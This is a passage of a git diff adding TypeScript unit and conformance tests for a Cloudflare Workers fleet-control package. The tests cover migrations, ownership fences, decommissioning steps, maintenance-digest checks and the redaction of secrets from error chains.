+      api.failures.set('batchDatabase', new Error('batch failed'));
+      const error = await rejectedValue(
+        backend(api).applyMigrations(
+          database,
+          [{ version: 1, sql: 'CREATE TABLE example (id TEXT)' }],
+          ownedFence,
+        ),
+      );
+      expect(error).toMatchObject({
+        message: 'failed to apply D1 migration 1',
+      });
+      expect(api.events).toEqual([
+        ...carriedMutation(mode, 'queryDatabase'),
+        ...carriedMutation(mode, 'queryDatabase'),
+        ...carriedMutation(mode, 'batchDatabase'),
+        ...carriedMutation(mode, 'queryDatabase'),
+      ]);
+      return;
+    }
+
+    throw new Error(`unhandled scenario '${scenario satisfies never}'`);
+  });
+});
+
+// None of these paths enters withMutationFence, so entry mode must not add a
+// `port-assert` event.
+const directFenceScenarios = fenceModes.flatMap((mode) => [
+  { mode, scenario: 'promotion attach' as const },
+  { mode, scenario: 'normal traffic removal' as const },
+  { mode, scenario: 'force traffic removal' as const },
+  { mode, scenario: 'secret deletion' as const },
+  { mode, scenario: 'maintenance request' as const },
+]);
+
+describe('PlainWorkerBackend direct mutation assertion ownership', () => {
+  it.each(
+    directFenceScenarios,
+  )('$scenario pins backend and port assertions in $mode mode', async ({
+    mode,
+    scenario,
+  }) => {
+    const api = new PlainWorkerProvisioningApiFake(mode);
+    const ownedFence = api.fence();
+
+    if (scenario === 'promotion attach') {
+      deployedCandidate(api);
+      await backend(api).promoteWorker(
+        spec,
+        { allowedCurrentScriptNames: [spec.scriptName], allowUnrouted: true },
+        undefined,
+        ownedFence,
+        'candidate',
+      );
+      expect(api.events).toEqual([
+        'assertOwned',
+        ...portMutation('attachCustomDomain'),
+      ]);
+      return;
+    }
+
+    if (scenario === 'normal traffic removal') {
+      deployedCandidate(api);
+      api.domains.push({
+        id: 'domain-id',
+        hostname: spec.routeHostname,
+        service: spec.scriptName,
+      });
+      await backend(api).removeTraffic(
+        spec,
+        undefined,
+        activeRelease,
+        database,
+        ownedFence,
+      );
+      expect(api.events).toEqual([
+        'assertOwned',
+        ...portMutation('detachCustomDomain'),
+        ...portMutation('disableOrdinaryWorkerPublicAccess'),
+      ]);
+      return;
+    }
+
+    if (scenario === 'force traffic removal') {
+      api.domains.push({
+        id: 'domain-id',
+        hostname: spec.routeHostname,
+        service: spec.scriptName,
+      });
+      api.footprints.set(spec.scriptName, {
+        scriptPresent: true,
+        workersDevEnabled: true,
+        previewUrlsEnabled: true,
+        customDomains: [],
+        zoneRoutes: [],
+      });
+      await backend(api).forceDecommissionStep(
+        fleetRecord(),
+        'remove-traffic',
+        ownedFence,
+      );
+      expect(api.events).toEqual([
+        ...portMutation('detachCustomDomain'),
+        ...portMutation('disableOrdinaryWorkerPublicAccess'),
+      ]);
+      return;
+    }
+
+    if (scenario === 'secret deletion') {
+      api.secretNames.set(spec.scriptName, ['A']);
+      await backend(api).forceDecommissionStep(
+        fleetRecord(),
+        'revoke-credentials',
+        ownedFence,
+      );
+      expect(api.events).toEqual(portMutation('deleteControlSecrets'));
+      return;
+    }
+
+    if (scenario === 'maintenance request') {
+      deployedCandidate(api);
+      const request = vi.fn(async () => {
+        // Recorded into the fake's stream so the final assertion pins that the
+        // backend asserted the fence BEFORE dispatching, not merely that it
+        // asserted.
+        api.events.push('maintenance-dispatch');
+        return maintenanceResponse();
+      });
+      await backend(api, { fetch: request }).ensureMaintenance(
+        spec,
+        secrets.maintenanceAdmin,
+        ownedFence,
+        'candidate',
+      );
+      expect(request).toHaveBeenCalledTimes(1);
+      expect(api.events).toEqual(['assertOwned', 'maintenance-dispatch']);
+      return;
+    }
+
+    throw new Error(`unhandled scenario '${scenario satisfies never}'`);
+  });
+});
+
+describe('PlainWorkerBackend core-policy refusals', () => {
+  it('refuses to upload over a script a force decommission left behind', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    api.versions.set(spec.scriptName, [ownedVersion('surviving')]);
+    api.deployments.set(spec.scriptName, {
+      versions: [{ versionId: 'surviving', percentage: 100 }],
+    });
+
+    // A fresh provision of the same slug mints a new D1; the surviving
+    // version still binds the retired one.
+    await expect(
+      backend(api).deployWorker(
+        spec,
+        { ...database, id: 'replacement-database-id' },
+        secrets,
+        undefined,
+        mutationFence(),
+      ),
+    ).rejects.toThrow(
+      `refusing to upload over existing Worker '${spec.scriptName}' with drifted tenant, environment, or D1 ownership`,
+    );
+    expect(api.events).not.toContain('mutation:uploadCandidate');
+  });
+
+  it('refuses promotion from a disallowed route before creating a deployment', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    api.versions.set(spec.scriptName, [
+      ownedVersion('current'),
+      ownedVersion('candidate'),
+    ]);
+    api.deployments.set(spec.scriptName, {
+      versions: [
+        { versionId: 'current', percentage: 100 },
+        { versionId: 'candidate', percentage: 0 },
+      ],
+    });
+    api.domains.push({
+      id: 'foreign-domain',
+      hostname: spec.routeHostname,
+      service: 'foreign-worker',
+    });
+
+    await expect(
+      backend(api).promoteWorker(
+        spec,
+        { allowedCurrentScriptNames: [spec.scriptName], allowUnrouted: false },
+        undefined,
+        api.fence(),
+        'candidate',
+      ),
+    ).rejects.toThrow(
+      `custom domain '${spec.routeHostname}' is owned by unexpected Worker 'foreign-worker'`,
+    );
+    expect(api.events).not.toContain('mutation:createDeployment');
+  });
+
+  it('refuses a mismatched maintenance digest without promoting', async () => {
+    vi.useFakeTimers();
+    try {
+      const api = new PlainWorkerProvisioningApiFake();
+      deployedCandidate(api);
+      const request = vi.fn(
+        async (input: Parameters<typeof fetch>[0], init?: RequestInit) => {
+          expect(String(input)).toContain('/admin/ensure-maintenance');
+          expect(init?.headers).toMatchObject({
+            'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="candidate"`,
+          });
+          return maintenanceResponse('f'.repeat(64));
+        },
+      );
+
+      const pending = expect(
+        backend(api, { fetch: request }).ensureMaintenance(
+          spec,
+          secrets.maintenanceAdmin,
+          api.fence(),
+          'candidate',
+        ),
+      ).rejects.toThrow(
+        'maintenance response did not attest fleet specification',
+      );
+      await vi.advanceTimersByTimeAsync(60_000);
+      await pending;
+      expect(request).toHaveBeenCalledTimes(30);
+      expect(api.events).not.toContain('mutation:createDeployment');
+    } finally {
+      vi.useRealTimers();
+    }
+  });
+
+  it('refuses a second secret deletion after live ownership changes', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    deployedCandidate(api);
+    api.secretNames.set(spec.scriptName, ['A', 'B']);
+    api.onDeleteControlSecrets = () => {
+      const version = ownedVersion('candidate');
+      api.versions.set(spec.scriptName, [
+        {
+          ...version,
+          bindings: version.bindings.map((binding) =>
+            binding.type === 'plain-text' &&
+            binding.name === 'DEPLOYMENT_TENANT'
+              ? { ...binding, value: 'foreign' }
+              : binding,
+          ),
+        },
+      ]);
+    };
+
+    await expect(
+      backend(api).revokeCredentials(
+        spec,
+        undefined,
+        activeRelease,
+        database,
+        api.fence(),
+      ),
+    ).rejects.toThrow('drifted live teardown ownership');
+    expect(api.events).toEqual(portMutation('deleteControlSecrets'));
+    expect(api.secretNames.get(spec.scriptName)).toEqual(['B']);
+  });
+
+  it('accepts a version-list 404 on the page after the last version during the post-delete residual check', async () => {
+    const world = providerWorld();
+    const digest = deploymentSpecDigest(spec);
+    const script = world.seedScript(spec.scriptName, {
+      versions: [
+        {
+          versionId: 'candidate',
+          tag: digest,
+          bindings: [
+            { type: 'd1', name: 'DB', database_id: database.id },
+            ...Object.entries({
+              DEPLOYMENT_TENANT: spec.tenantTag,
+              FLEET_ENVIRONMENT: spec.environment,
+              FLEET_SCHEMA_VERSION: String(spec.schemaVersion),
+              FLEET_SPEC_DIGEST: digest,
+              FLEET_INGRESS_CONTRACT: 'guarded-object-v1',
+            }).map(([name, text]) => ({ type: 'plain_text', name, text })),
+          ],
+          mainModule: spec.mainModule,
+          modules: spec.modules,
+        },
+      ],
+      deployment: [{ versionId: 'candidate', percentage: 100 }],
+      subdomain: { enabled: false, previewsEnabled: false },
+    });
+    const persistedVersions = script.versions.map(({ versionId, tag }) => ({
+      id: versionId,
+      annotations: { 'workers/tag': tag },
+    }));
+    const projected = restProjection(world);
+    const postDeletePages: number[] = [];
+    const fixture = recordingFetch((request) => {
+      const url = new URL(request.url);
+      const authority = zoneAuthorityResponse(url, []);
+      if (authority) return authority;
+      if (
+        !script.present &&
+        url.pathname.endsWith(`/workers/scripts/${spec.scriptName}/versions`)
+      ) {
+        const page = Number(url.searchParams.get('page') ?? '1');
+        postDeletePages.push(page);
+        return page === 1
+          ? pageItems(persistedVersions, {
+              page: 1,
+              total_count: persistedVersions.length,
+            })
+          : Response.json(
+              {
+                success: false,
+                errors: [
+                  {
+                    code: 10007,
+                    message: 'This Worker does not exist on your account.',
+                  },
+                ],
+                messages: [],
+                result: null,
+              },
+              { status: 404 },
+            );
+      }
+      return projected(request);
+    });
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'token',
+      plane: 'plain-worker',
+      rateCoordinator: testRateCoordinator(),
+      fetch: fixture.fetch,
+      requestTimeoutMs: 1_000,
+    });
+    const subject = new PlainWorkerBackend({
+      api: new CloudflareApiPlainWorkerProvisioningApi({ client }),
+      identityCaller: 'PlainWorkerBackend.test',
+    });
+
+    await expect(
+      subject.deleteWorker(
+        spec,
+        undefined,
+        database,
+        activeRelease,
+        mutationFence(),
+      ),
+    ).resolves.toBeUndefined();
+    expect(postDeletePages).toEqual([1, 2]);
+    expect(world.mutationLog).toEqual([`delete-script:${spec.scriptName}`]);
+  });
+
+  it('refuses deletion when a namespace remains after script deletion', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    api.scripts.add(spec.scriptName);
+    deployedCandidate(api);
+    api.footprints.set(spec.scriptName, {
+      scriptPresent: true,
+      workersDevEnabled: false,
+      previewUrlsEnabled: false,
+      customDomains: [],
+      zoneRoutes: [],
+    });
+    api.onDeleteWorkerScript = () => {
+      api.namespaces.set(spec.scriptName, ['residual-namespace']);
+    };
+
+    await expect(
+      backend(api).deleteWorker(
+        spec,
+        undefined,
+        database,
+        activeRelease,
+        api.fence(),
+      ),
+    ).rejects.toThrow(
+      `Worker '${spec.scriptName}' or its custom domain remains after delete`,
+    );
+    expect(api.events).toEqual(portMutation('deleteWorkerScript'));
+  });
+});
diff --git a/packages/fleet-control/test/plain-worker-conformance.direct.test.ts b/packages/fleet-control/test/plain-worker-conformance.direct.test.ts
new file mode 100644
index 00000000..c456bed3
--- /dev/null
+++ b/packages/fleet-control/test/plain-worker-conformance.direct.test.ts
@@ -0,0 +1,182 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { afterEach, describe, expect, it } from 'vitest';
+import { provisionDeployment } from '../src/provision.js';
+import {
+  assertHarnessFailuresConsumed,
+  buildPlainWorkerSpec,
+  captureFailure,
+  causeChain,
+  directHarness,
+  errorChain,
+  hostileCauseProxy,
+  initialSpec,
+  malformedErrorsBody,
+  migrationSpec,
+  routeAttestation,
+  seedWorkerFromSpec,
+  sharedSecrets,
+  throwingConstructorError,
+} from './fixtures/plain-worker-harnesses.js';
+import { mutationFence } from './fixtures/plain-worker-port-probe.js';
+import type { ProviderFailure } from './fixtures/provider-world.js';
+import { providerWorld } from './fixtures/provider-world.js';
+import { describePlainWorkerConformance } from './plain-worker-backend-conformance.js';
+
+afterEach(assertHarnessFailuresConsumed);
+
+// The direct harness creates no Wrangler scratch directory or fs mock state.
+describePlainWorkerConformance('direct Cloudflare API', directHarness);
+
+it('converges public-access config during a staged upload', async () => {
+  const world = providerWorld();
+  const currentSpec = initialSpec();
+  const targetSpec = migrationSpec();
+  seedWorkerFromSpec(world, { spec: currentSpec });
+  const script = world.scripts.get(currentSpec.scriptName);
+  const database = world.databases.find(
+    ({ name }) => name === currentSpec.databaseName,
+  );
+  if (!script || !database) throw new Error('ready Worker seed is incomplete');
+  script.subdomain = { enabled: false, previewsEnabled: false };
+  const harness = directHarness(world);
+
+  await harness.backend.deployWorker(
+    targetSpec,
+    { id: database.databaseId, name: database.name, created: false },
+    sharedSecrets,
+    undefined,
+    mutationFence(),
+    undefined,
+  );
+
+  expect(script.subdomain).toEqual({
+    enabled: true,
+    previewsEnabled: false,
+  });
+});
+
+it('settles an initial upload failure at the REST script request when selected', async () => {
+  const harness = directHarness();
+  const spec = buildPlainWorkerSpec();
+  harness.world.failNext('uploadCandidate', {
+    dispatched: true,
+    at: 'script',
+  });
+
+  const rejection = await captureFailure(
+    provisionDeployment({
+      backend: harness.backend,
+      store: harness.store,
+      spec,
+      secrets: sharedSecrets,
+      initialExecutionFenceState: 'open',
+      clock: () => 1_000,
+      routeAttestation,
+    }),
+  );
+
+  expect(errorChain(rejection)).toContain(
+    `reconciled Worker upload for '${spec.scriptName}' did not converge public access`,
+  );
+});
+
+async function stagedUploadFailure(failure: ProviderFailure) {
+  const harness = directHarness();
+  const currentSpec = initialSpec();
+  const targetSpec = migrationSpec();
+  const ready = await provisionDeployment({
+    backend: harness.backend,
+    store: harness.store,
+    spec: currentSpec,
+    secrets: sharedSecrets,
+    initialExecutionFenceState: 'open',
+    clock: () => 1_000,
+    routeAttestation,
+  });
+  const database = harness.world.databases.find(
+    ({ databaseId }) => databaseId === ready.record.databaseId,
+  );
+  if (!database) throw new Error('ready database disappeared');
+  harness.world.failNext('uploadCandidate', failure);
+  const rejection = await captureFailure(
+    harness.backend.deployWorker(
+      targetSpec,
+      { id: database.databaseId, name: database.name, created: false },
+      sharedSecrets,
+      undefined,
+      {
+        mutationLeaseTtlMs: 15 * 60_000,
+        assertOwned: async () => {},
+      },
+      undefined,
+    ),
+  );
+  return { rejection, harness };
+}
+
+describe('sanitizer boundary through the shared fixtures', () => {
+  // This wrapper-local suite is outside the shared body, so rejection-shape
+  // assertions do not constrain the cross-backend conformance contract.
+  it('redacts secret-bearing errors and rebuilds their cause chain', async () => {
+    const injected = throwingConstructorError(sharedSecrets.deploymentIdentity);
+    const { rejection } = await stagedUploadFailure({
+      dispatched: true,
+      duplicate: true,
+      error: injected,
+    });
+    const serialized = `${JSON.stringify(rejection)} ${errorChain(rejection)}`;
+
+    expect(serialized).not.toContain(sharedSecrets.deploymentIdentity);
+    expect(serialized).not.toContain(sharedSecrets.maintenanceAdmin);
+    expect(causeChain(rejection).some((cause) => cause === injected)).toBe(
+      false,
+    );
+    for (const cause of causeChain(rejection)) {
+      if (!(cause instanceof Error)) continue;
+      expect(cause.name).toMatch(/^(?:[A-Za-z][A-Za-z0-9]*Error|unknown)$/u);
+    }
+  });
+
+  it('drops a hostile proxy carried as an error cause', async () => {
+    const proxy = hostileCauseProxy();
+    const { rejection } = await stagedUploadFailure({
+      dispatched: true,
+      duplicate: true,
+      error: new Error('hostile cause carrier', { cause: proxy }),
+    });
+
+    expect(rejection).toBeInstanceOf(Error);
+    expect(causeChain(rejection).some((cause) => cause === proxy)).toBe(false);
+  });
+
+  it('normalizes a malformed provider errors body', async () => {
+    const { rejection } = await stagedUploadFailure({
+      dispatched: true,
+      duplicate: true,
+      response: malformedErrorsBody(),
+    });
+    const providerError = causeChain(rejection).find(
+      (cause) =>
+        cause instanceof Error && Array.isArray(Reflect.get(cause, 'errors')),
+    );
+
+    expect(providerError).toBeDefined();
+    expect(Reflect.get(providerError as object, 'errors')).toEqual([]);
+    expect(errorChain(rejection)).not.toContain('not an array');
+  });
+
+  it('surfaces the SDK timeout as one constant cause level', async () => {
+    const { rejection } = await stagedUploadFailure({
+      dispatched: true,
+      duplicate: true,
+      error: new Error('transport timed out'),
+    });
+    const chain = errorChain(rejection);
+
+    // The SDK classifies timeout text in client.mjs:386-388 and constructs
+    // APIConnectionTimeoutError without a cause in core/error.mjs:81-85.
+    expect(chain.match(/Request timed out\./gu)).toHaveLength(1);
+    expect(chain).not.toContain('transport timed out');
+  });
+});
diff --git a/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts b/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts
new file mode 100644
index 00000000..0370e6e1
--- /dev/null
+++ b/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts
@@ -0,0 +1,195 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import { CloudflareApiPlainWorkerProvisioningApi } from '../src/cloudflare-api-plain-worker-provisioning-api.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import { WranglerPlainWorkerProvisioningApi } from '../src/wrangler-plain-worker-provisioning-api.js';
+import {
+  recordingFetch,
+  restProjection,
+} from './fixtures/cloudflare-fetch-fixture.js';
+import {
+  assertHarnessFailuresConsumed,
+  buildPlainWorkerSpec,
+  HarnessExportStore,
+  initialSpec,
+  migrationSpec,
+  plainOnlyClient,
+  seedWorkerFromSpec,
+  sharedSecrets,
+  uploadIntentForSpec,
+  wranglerHarness,
+} from './fixtures/plain-worker-harnesses.js';
+import { mutationFence } from './fixtures/plain-worker-port-probe.js';
+import type { ProviderWorld } from './fixtures/provider-world.js';
+import { providerWorld } from './fixtures/provider-world.js';
+import {
+  type PlainWorkerFsControl,
+  registerScratchCleanup,
+} from './fixtures/wrangler-fs-mock.js';
+import { cliProjection } from './fixtures/wrangler-world-projection.js';
+import { describePlainWorkerConformance } from './plain-worker-backend-conformance.js';
+
+const fsControl = vi.hoisted<PlainWorkerFsControl>(() => ({
+  failFleetCleanup: false,
+  residualDirectory: undefined,
+  cleanupError: new Error('conformance upload cleanup failed'),
+}));
+
+vi.mock('node:fs/promises', async () => {
+  const { createFsPromisesMock } = await import(
+    './fixtures/wrangler-fs-mock.js'
+  );
+  return createFsPromisesMock(fsControl);
+});
+
+const exportDirectories = registerScratchCleanup(fsControl, {
+  cleanupError: fsControl.cleanupError,
+});
+
+afterEach(assertHarnessFailuresConsumed);
+
+describePlainWorkerConformance('Wrangler loop', (world?: ProviderWorld) => {
+  const harness = wranglerHarness(world);
+  exportDirectories.add(harness.exportDirectory);
+  return harness;
+});
+
+describe('provider projection equivalence', () => {
+  it.each(
+    (['initial', 'staged'] as const).flatMap((mode) =>
+      [
+        {
+          label: 'neither limit',
+          specLimits: {},
+          expected: { cpuMs: undefined },
+        },
+        {
+          label: 'CPU only',
+          specLimits: { cpuLimitMs: 25 },
+          expected: { cpuMs: 25 },
+        },
+        {
+          label: 'subrequests only',
+          specLimits: { subrequestLimit: 500 },
+          expected: { cpuMs: undefined, subrequests: 500 },
+        },
+        {
+          label: 'both limits',
+          specLimits: { cpuLimitMs: 25, subrequestLimit: 500 },
+          expected: { cpuMs: 25, subrequests: 500 },
+        },
+      ].map((limits) => ({ mode, ...limits })),
+    ),
+  )('preserves $label in conformance $mode upload limits', ({
+    mode,
+    specLimits,
+    expected,
+  }) => {
+    expect(
+      uploadIntentForSpec(
+        buildPlainWorkerSpec(specLimits),
+        '00000000-0000-4000-8000-000000000001',
+        mode,
+      ).limits,
+    ).toStrictEqual(expected);
+  });
+
+  it('writes identical raw bindings for one shared upload intent', async () => {
+    const cliWorld = providerWorld();
+    const restWorld = providerWorld();
+    const exportStore = new HarnessExportStore();
+    const exportDirectory = 'fleet-conformance-export-unused';
+    const cliFetch = recordingFetch(restProjection(cliWorld));
+    const restFetch = recordingFetch(restProjection(restWorld));
+    const cliApi = new WranglerPlainWorkerProvisioningApi({
+      runner: cliProjection(cliWorld),
+      routeApi: plainOnlyClient(cliFetch, exportStore),
+      exportDirectory,
+      exportStore,
+    });
+    const restApi = new CloudflareApiPlainWorkerProvisioningApi({
+      client: plainOnlyClient(restFetch, exportStore),
+    });
+    const intent = uploadIntentForSpec(
+      buildPlainWorkerSpec(),
+      '00000000-0000-4000-8000-000000000001',
+      'initial',
+    );
+    const fence = mutationFence();
+
+    await expect(cliApi.uploadCandidate(intent, fence)).resolves.toMatchObject({
+      status: 'succeeded',
+    });
+    await expect(restApi.uploadCandidate(intent, fence)).resolves.toMatchObject(
+      { status: 'succeeded' },
+    );
+
+    expect(
+      cliWorld.scripts.get(intent.scriptName)?.versions[0]?.bindings,
+    ).toEqual(restWorld.scripts.get(intent.scriptName)?.versions[0]?.bindings);
+  });
+
+  it('does not apply public-access config during a staged upload', async () => {
+    const world = providerWorld();
+    const currentSpec = initialSpec();
+    const targetSpec = migrationSpec();
+    seedWorkerFromSpec(world, { spec: currentSpec });
+    const script = world.scripts.get(currentSpec.scriptName);
+    const database = world.databases.find(
+      ({ name }) => name === currentSpec.databaseName,
+    );
+    if (!script || !database)
+      throw new Error('ready Worker seed is incomplete');
+    script.subdomain = { enabled: false, previewsEnabled: false };
+    const harness = wranglerHarness(world);
+    exportDirectories.add(harness.exportDirectory);
+
+    await harness.backend.deployWorker(
+      targetSpec,
+      { id: database.databaseId, name: database.name, created: false },
+      sharedSecrets,
+      undefined,
+      mutationFence(),
+      undefined,
+    );
+
+    expect(script.subdomain).toEqual({
+      enabled: false,
+      previewsEnabled: false,
+    });
+  });
+
+  it('serves maintenance only from the exact control origin', async () => {
+    const world = providerWorld();
+    const spec = buildPlainWorkerSpec();
+    seedWorkerFromSpec(world, { spec });
+    world.customDomains.push({
+      id: 'domain-1',
+      hostname: spec.routeHostname,
+      service: spec.scriptName,
+    });
+    const projected = restProjection(world);
+
+    const exact = await projected({
+      method: 'GET',
+      url: `${world.maintenanceOrigin}/admin/maintenance-status`,
+      body: undefined,
+      headers: new Headers(),
+      redirect: undefined,
+    });
+    const decoy = await projected({
+      method: 'GET',
+      url: `${world.routeOrigin}/admin/maintenance-status`,
+      body: undefined,
+      headers: new Headers(),
+      redirect: undefined,
+    });
+
+    expect(exact.status).toBe(200);
+    await expect(exact.json()).resolves.toMatchObject({
+      deploymentSpecDigest: deploymentSpecDigest(spec),
+    });
+    expect(decoy.status).toBe(403);
+  });
+});
diff --git a/packages/fleet-control/test/platform-resources.test.ts b/packages/fleet-control/test/platform-resources.test.ts
index 6303e41b..9ad7e3dc 100644
--- a/packages/fleet-control/test/platform-resources.test.ts
+++ b/packages/fleet-control/test/platform-resources.test.ts
@@ -20,6 +20,7 @@ import type {
   ExternalReleaseSnapshot,
   FleetRecord,
 } from '../src/types.js';
+import { decommissionAdvancingRecordFixture } from './fixtures/decommission-intent-fixture.js';
 
 const spec: DeploymentSpec = {
   tenantTag: 'acme',
@@ -249,6 +250,75 @@ describe('external platform resource identity', () => {
     ).toEqual(expected);
   });
 
+  it('uses the effective lifecycle phase for route authority and diagnostics', () => {
+    const activeRelease: ExternalReleaseSnapshot = {
+      physicalScriptName: 'release-active',
+      specDigest: 'a'.repeat(64),
+      artifactVersion: 'etag-active',
+      releaseSchemaVersion: 2,
+    };
+    const target: ExternalPlatformTargetDescription = {
+      maintenanceCapabilityPublicKey: profile.maintenanceCapabilityPublicKey,
+      stateArtifactDigest: '1'.repeat(64),
+      stateDurableObjectHistoryDigest: '2'.repeat(64),
+      sharedOutboundWorkerName: 'shared-outbound',
+      stateEgressCredentialDigest: '3'.repeat(64),
+      d1SchemaVersion: 2,
+      d1SchemaHistoryDigest: '4'.repeat(64),
+      outboundPolicy: canonicalDeploymentEgressPolicy({
+        policyId: 'policy-acme',
+        tenantTag: 'acme',
+        environment: 'production',
+        allowedHosts: ['api.example.com'],
+      }),
+    };
+    const ready: FleetRecord = {
+      tenantTag: 'acme',
+      environment: 'production',
+      backend: 'workers-for-platforms',
+      scriptName: 'acme-production',
+      databaseId: 'db-acme',
+      databaseName: 'acme-production',
+      schemaVersion: 2,
+      artifactVersion: activeRelease.artifactVersion,
+      desiredSpecDigest: activeRelease.specDigest,
+      activeRelease,
+      platformTarget: target,
+      durableObjectBindings: [],
+      routeHostname: 'acme.example.test',
+      phase: 'ready',
+      updatedAt: '2026-08-11T00:00:00.000Z',
+    };
+
+    expect(
+      externalRouteExpectations(
+        decommissionAdvancingRecordFixture(ready, 'ready'),
+      ),
+    ).toEqual([{ release: activeRelease, target }]);
+    expect(() =>
+      externalRouteExpectations(
+        decommissionAdvancingRecordFixture(
+          {
+            ...ready,
+            pendingRelease: activeRelease,
+            platformTarget: undefined,
+          },
+          'publishing',
+        ),
+      ),
+    ).toThrow(
+      'external publishing route authority has no persisted platform target',
+    );
+    expect(() =>
+      externalRouteExpectations(
+        decommissionAdvancingRecordFixture(
+          { ...ready, activeRelease: undefined },
+          'ready',
+        ),
+      ),
+    ).toThrow('external ready route authority has no persisted release');
+  });
+
   it('rejects publishing without its intended release and platform target', () => {
     const incomplete: FleetRecord = {
       tenantTag: 'acme',
diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts
index 76cb55b0..4c30be9c 100644
--- a/packages/fleet-control/test/provision.test.ts
+++ b/packages/fleet-control/test/provision.test.ts
@@ -1,12 +1,27 @@
 // SPDX-License-Identifier: Apache-2.0
 
-import { describe, expect, it } from 'vitest';
+import { createHash } from 'node:crypto';
+import { mkdtemp } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { describe, expect, it, vi } from 'vitest';
 import { ActiveRouteAttestationError } from '../src/active-route.js';
 import type {
+  BackendSwitchProvider,
   BridgeMutationPlan,
   BridgeSnapshot,
   FinalizedOrdinaryStateProvider,
 } from '../src/backend-switch.js';
+import {
+  type AdvanceDecommissionDeploymentOptions,
+  advanceDecommissionDeployment,
+  DecommissionAdvanceCapabilityError,
+  DecommissionAdvanceRestartError,
+  type DecommissionAdvanceResult,
+  reconcilePersistedDatabase,
+} from '../src/decommission-advance.js';
+import { normalizeDecommissionAdvanceIntent } from '../src/decommission-intent.js';
+import { migrateFleet, rollbackExternalRelease } from '../src/fleet.js';
 import {
   canonicalDeploymentEgressPolicy,
   externalEgressProxyScriptName,
@@ -26,11 +41,23 @@ import {
   provisionDeployment,
 } from '../src/provision.js';
 import { deploymentSpecDigest } from '../src/spec-digest.js';
+import {
+  D1FleetStateStore,
+  type FleetStateDatabase,
+} from '../src/state-store.js';
 import type {
   ActiveRouteAttestation,
   ApplicationR2BucketSnapshot,
   ApplicationR2Resource,
+  BackendSwitchIntent,
+  BackendSwitchSubphase,
+  CleanupTerminalReceipt,
+  DatabaseExport,
+  DatabaseExportReceiptIdentity,
   DatabaseReference,
+  DecommissionAdvanceIntent,
+  DecommissionAttachmentScanInput,
+  DecommissionAttachmentScanResult,
   DeploymentSecrets,
   DeploymentSpec,
   ExternalMutationFence,
@@ -42,17 +69,56 @@ import type {
   InitialExecutionFenceState,
   LiveDeployment,
   MaintenanceHealth,
+  PlainWorkerRouteApi,
   ProvisioningBackend,
   ProvisioningBackendKind,
   SeedDeploymentIdentityOptions,
 } from '../src/types.js';
+import { effectiveLifecyclePhase } from '../src/types.js';
 import { externalReleaseScriptName } from '../src/workers-for-platforms-backend.js';
+import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js';
+import type { CommandResult, CommandRunner } from '../src/wrangler-runner.js';
+import {
+  backendSwitchDecommissionRecordFixture,
+  decommissionAdvancingRecordFixture,
+} from './fixtures/decommission-intent-fixture.js';
+import { memoryStore, routeApi } from './fixtures/plain-worker-port-probe.js';
+import { D1State } from './fixtures/provider-world.js';
+import {
+  type PlainWorkerFsControl,
+  registerScratchCleanup,
+} from './fixtures/wrangler-fs-mock.js';
+
+const fsControl = vi.hoisted<PlainWorkerFsControl>(() => ({
+  failFleetCleanup: false,
+  residualDirectory: undefined,
+  cleanupError: new Error('provision upload cleanup failed'),
+}));
+
+vi.mock('node:fs/promises', async () => {
+  const { createFsPromisesMock } = await import(
+    './fixtures/wrangler-fs-mock.js'
+  );
+  return createFsPromisesMock(fsControl);
+});
+
+const exportDirectories = registerScratchCleanup(fsControl, {
+  cleanupError: fsControl.cleanupError,
+});
 
 const secrets: DeploymentSecrets = {
   deploymentIdentity: 'deployment-identity-secret-value-0001',
   maintenanceAdmin: 'maintenance-admin-secret-value-00001',
 };
 
+const DATABASE_ID = '00000000-0000-0000-0000-000000000101';
+const REPLACEMENT_DATABASE_ID = '00000000-0000-0000-0000-000000000102';
+const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1';
+
+type BoxedOutcome<Value> =
+  | Readonly<{ status: 'fulfilled'; value: Value; commit?: boolean }>
+  | Readonly<{ status: 'rejected'; reason: unknown; commit?: boolean }>;
+
 function completeLiveDeployment(
   live: Omit<LiveDeployment, 'providerBindingIdentities'>,
 ): LiveDeployment {
@@ -97,8 +163,20 @@ class MemoryStore implements FleetStateStore {
   record: FleetRecord | undefined;
   leased = false;
   leaseCalls = 0;
+  readonly receipts = new Map<string, CleanupTerminalReceipt>();
+  completedAtMs = 1_000;
+  supportsDeleteReleasingClaims = false;
+  deleteReleasingClaimsCalls = 0;
+  deleteCalls = 0;
   readonly phases: string[] = [];
   failPutPhase: string | undefined;
+  failPutApplicationState:
+    | Readonly<{ name: string; state: ApplicationR2Resource['state'] }>
+    | undefined;
+  assertOwnedFailure: unknown;
+  assertOwnedFailureAt: number | undefined;
+  assertOwnedObserved: (() => void) | undefined;
+  assertOwnedCalls = 0;
 
   async withDeploymentLease<T>(
     tenantTag: string,
@@ -113,30 +191,109 @@ class MemoryStore implements FleetStateStore {
         tenantTag,
         environment,
         mutationLeaseTtlMs: 15 * 60_000,
-        assertOwned: async () => {},
+        assertOwned: async () => {
+          this.assertOwnedCalls += 1;
+          this.assertOwnedObserved?.();
+          if (this.assertOwnedFailure !== undefined) {
+            throw this.assertOwnedFailure;
+          }
+          if (this.assertOwnedFailureAt === this.assertOwnedCalls) {
+            throw new Error(`lease assertion ${this.assertOwnedCalls} failed`);
+          }
+        },
         renew: async () => {},
         put: (record) => this.put(record),
         delete: () => this.delete(),
+        completeCleanup: (input) => this.completeCleanup(input),
+        ...(this.supportsDeleteReleasingClaims
+          ? {
+              deleteReleasingClaims: async () => {
+                this.deleteReleasingClaimsCalls += 1;
+                this.record = undefined;
+              },
+            }
+          : {}),
       });
     } finally {
       this.leased = false;
     }
   }
 
